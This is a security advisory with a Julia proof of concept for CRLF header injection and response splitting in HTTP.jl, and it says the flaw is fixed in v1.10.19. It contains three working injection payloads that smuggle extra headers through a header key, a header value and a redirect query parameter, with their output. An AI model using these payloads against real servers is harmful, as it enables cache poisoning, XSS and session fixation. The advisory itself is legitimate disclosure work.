Header injection/Response splitting via header construction.

HTTP.jl did not validate header names/values for illegal characters, allowing CRLF-based header injection and response splitting.

using HTTP, Sockets

function handle_index(req::HTTP.Request)
    @show HTTP.header(req, "X-Foo")
    return HTTP.Response(200, "ok")
end

function handle_redirect(req::HTTP.Request)
    return HTTP.Response(301, ["Location" => get(HTTP.URIs.queryparams(req), "to", "/")], "redirect")
end

const router = HTTP.Router()
HTTP.register!(router, "GET", "/", handle_index)
HTTP.register!(router, "GET", "/redirect", handle_redirect)

server = HTTP.serve!(router, Sockets.IPv4(0,0,0,0), 8080)


println("[*] POC 1: Header injection in request through header key")
user_input = "X-Custom: x\r\nX-Foo: Bar\r\nX-Custom"
HTTP.get("http://localhost:8080/", [user_input => "hello"])

println()

println("[*] POC 2: Header injection in request through header value")
user_input = "hello\r\nX-Foo: Bar"
HTTP.get("http://localhost:8080/", ["X-Custom" => user_input])

println()

println("[*] POC 3: Header injection in response through header value")
res = HTTP.get("http://localhost:8080/redirect?to=/%0d%0aX-Foo:%20Bar", redirect=false)
@show HTTP.header(res, "X-Foo")

Result

[ Info: Listening on: [0.0.0.0:8080](http://0.0.0.0:8080/), thread id: 1
[*] POC 1: Header injection in request through header key
HTTP.header(req, "X-Foo") = "Bar"

[*] POC 2: Header injection in request through header value
HTTP.header(req, "X-Foo") = "Bar"

[*] POC 3: Header injection in response through header value
HTTP.header(res, "X-Foo") = "Bar"

Impact

This enables HTTP response splitting and header injection, leading to cache poisoning, XSS, session fixation, and more.

Patches

This issue is fixed in HTTP.jl v1.10.19

Credit

Chen T